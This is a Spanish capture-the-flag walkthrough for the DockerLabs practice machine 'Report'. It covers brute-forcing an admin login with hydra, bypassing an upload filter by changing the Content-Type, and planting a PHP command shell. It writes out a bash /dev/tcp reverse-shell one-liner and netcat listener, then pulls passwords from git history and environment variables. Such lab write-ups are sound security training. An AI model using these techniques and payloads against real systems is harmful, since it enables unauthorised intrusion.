Report
Hoy haremos la máquina "Report" de DockerLabs.
Autor: TLuisillo_o
Dificultad: Medio

RECONOCIMIENTO
Comenzamos con un escaneo de nmap:
Como vemos tenemos varias cosas, pero lo que nos interesa es la web en el puerto 80.
Cabe recalcar que esta máquina contiene múltiples vulnerabilidades, según tengo entendido esta máquina es para practicar el hacer un reporte real de una vulnerabilidad, acá voy a deja algunas de las que hay:
Cuando se inicia sesión se puede cambiar el "id" en la url para ver a otros usuarios
En las noticias hay un SQLi
En contacto un XSS y HTMLI
En "Acerca de" hay un LFI
Como vemos son varias, pero no se si todas permiten una intrusión, yo en este caso solo voy a mostrar una.
Ahora que sabemos que hay una web, usaremos gobuster para ver que encontramos:
Al parecer tenemos un admin.php, el cual si vamos desde el navegador veremos lo siguiente:

Como vemos tenemos un panel de inicio de sesión, sabiendo esto podríamos intentar usar hydra para hacer fuerza bruta y ver si obtenemos la contraseña:

como vemos, hemos obtenido la contraseña, "admin:admin123" (para obtenerla hay que esperar bastante ya que se encuentra en la línea 90006).
INTRUSIÓN
Ahora estando dentro de "cargas.php", veremos lo siguiente:

Al parecer nos permite subir archivos, los cuales si subimos estarán en "/uploads/", el problema de esto es que si intentamos subir un archivo php, nos dirá que no está permitido ese tipo de archivos, también si intentamos hacer un bypass de la extensión nos dirá lo mismo, por lo que mejor abrimos el burpsuite y vemos que hace por detrás. Una vez interceptada la petición, presionaremos "ctrl+r" al mismo tiempo, esto nos mandará la petición al repeater y estaremos más cómodos:

En este caso, puede que la web no se fije en la extensión sino en el "Content-type", por lo que podríamos cambiarlo por "image/jpeg", quedará así:

Una vez cambiado solo le damos a "send", y en la respuesta veremos esto:

Ahora que ya se subió, tendremos que hacer una u otra cosa dependiendo de nuestra shell, en mi caso es esta:
y con esta debemos hacer lo siguiente:
Primero preparamos el
netcatescuchando por el puerto 443:nc -lvnp 443Ahora vamos a la url donde se encuentra el archivo, en este caso sería: http://realgob.dl/uploads/cmd.php
Luego en la url agregamos lo siguiente: ?cmd=. Esto nos permitirá ejecutar comandos, por lo que para enviarnos una shell debemos poner lo siguiente:
bash -c 'bash -i >%26 /dev/tcp/172.17.0.1/443 0>%261'
Una vez enviado estaremos dentro de la máquina.
ESCALADA DE PRIVILEGIOS
www-data
Siendo el usuario www-data haremos el tratamiento de la tty. ¿Como hacerlo?
Ahora, luego de buscar veremos que en "/var/www/html/desarrollo/" hay una carpeta ".git", esto significa que tendríamos un "repositorio" ahí, y como no hay nada interesante, podríamos ver los logs u archivos borrados para ver si obtenemos algo. Para hacerlo haremos lo siguiente:
Primero ejecutamos git log:
Al parecer tenemos varios, pero el que nos interesa es el siguiente:
este nos interesa porque el autor es el usuario "adm", que si nos fijamos se encuentra en el sistema.
Ahora ejecutaremos git show 0baffeec1777f9dfe201c447dcbc37f10ce1dafa para ver que tenía ese "commit":
Como vemos, ya tenemos una pass para el usuario "adm": adm:9fR8pLtXXXXXXXXXXXXXXXXXXXXXXX
Adm
Luego de revisar algunas cosas, pruebo ver las variables de entorno con export -p y se vé la siguiente:
Si le pasamos esto a CyberChef nos dirá lo siguiente:

al parecer, la contraseña de root es "dockerlabs4u", por lo que escalamos ejecutando su root y poniendo su contraseña.
Root

Gracias por leer......
Última actualización